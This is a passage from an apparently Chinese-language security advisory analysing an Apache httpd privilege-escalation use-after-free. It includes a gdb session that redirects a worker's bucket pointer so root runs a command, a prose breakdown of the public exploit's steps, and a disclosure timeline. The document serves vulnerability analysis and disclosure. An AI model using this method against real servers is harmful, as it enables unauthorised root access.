為通過gdb模擬修改bucket指向我們的惡意結構做準備

[root@bogon john]# ps -aux | grep httpd
root 19895 0.0 0.2 285296 10652 ? Ss 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19896 0.0 0.2 287512 9348 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19897 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19898 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19899 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19900 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
root 20112 0.0 0.0 112708 980 pts/2 R+ 14:30 0:00 grep --color=auto httpd
[root@bogon john]# gdb attach 19895
(gdb) break child_main
Breakpoint 1 at 0x46c000: file prefork.c, line 380.
(gdb) set follow-fork-mode child
(gdb) c

執行apachectl graceful,使其優雅重啟

[root@bogon john]# apachectl graceful
[root@bogon john]#

修改my_bucket

我們將my_bucket,設置為0x7f1f62a3e140,該地址是執行惡意PHP代碼時,輸出的evil_shm_mid_addr

Continuing.
Program received signal SIGUSR1, User defined signal 1.
0x00007f1f612bdf53 in __select_nocancel () from /lib64/libc.so.6
(gdb) c
Continuing.
[New process 20155]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Switching to Thread 0x7f1f62ae9780 (LWP 20155)]
Breakpoint 1, child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=0) at prefork.c:380
380 {
(gdb) set my_bucket = 0x7f1f62a3e140
(gdb) c
Continuing.
[New process 20177]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

process 20177 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 1: Function "child_main" not defined.
process 20177 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-31.el7.x86_64
[Inferior 3 (process 20177) exited normally]
Missing separate debuginfos, use: debuginfo-install coreutils-8.22-23.el7.x86_64
(gdb)

查看根目錄,發現利用成功

➜ ~ ls /
bin boot dev etc hello home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www

0x06 EXP分析

1.在作者提供的Exp中,沒有依賴具體的硬編碼數值。在get_all_address函數中利用 /proc/self/maps和文件讀取的方式定位到了如下shm, system, libaprR, libaprX, apache, zend_object_std_dtor幾個函數的地址以及共享內存起始地址。

2.在get_workers_pids中通過枚舉/proc//cmdline and /proc//status文件,得到所有worker進程的PID,用於後續在共享內存中定位process_score地址。

3.最終在real函數中,作者通過在共享內存中查找worker process的PID從而定位到每個process_score結構,並利用被UAF漏洞修改過的字符串對內存進行修改。利用內存模式匹配找到all_buckets的起始位置,並複用了 在scoreboard中空閒的servers結構保存生成的payload。最後利用在2步中獲取的worker進程id找到所有的process_score,將其中的bucket修改成指定可利用的值。

0x07 時間線

2019-02-22 作者發送漏洞說明和PoC到security[at]apache[dot]org

2019-02-25 確認漏洞,處理修復工作

2019-03-07 Apache安全團隊發送補丁給作者進行檢查,並給作者分配CVE

2019-03-10 作者同意該補丁

2019-04-01 Apache HTTP版本2.4.39發佈

2019-04-03 360-CERT發佈預警通告

2019-04-03 作者發佈漏洞細節

2019-04-08 作者發佈Exp

2019-04-09 360-CERT發佈分析報告

0x08 參考鏈接

  1. apache scoreboard worker_record
  2. Apache中多任務併發處理機制研究(1)
  3. 源碼編譯安裝apache
  4. 學習《apache源代碼全景分析》之多任務併發處理摘錄
  5. 作者發佈的漏洞細節
  6. 在linux下的apache配置https協議,開啟ssl連接
  7. PHP編寫擴展調用動態so庫
  8. 作者發佈Exp


分享到:


相關文章: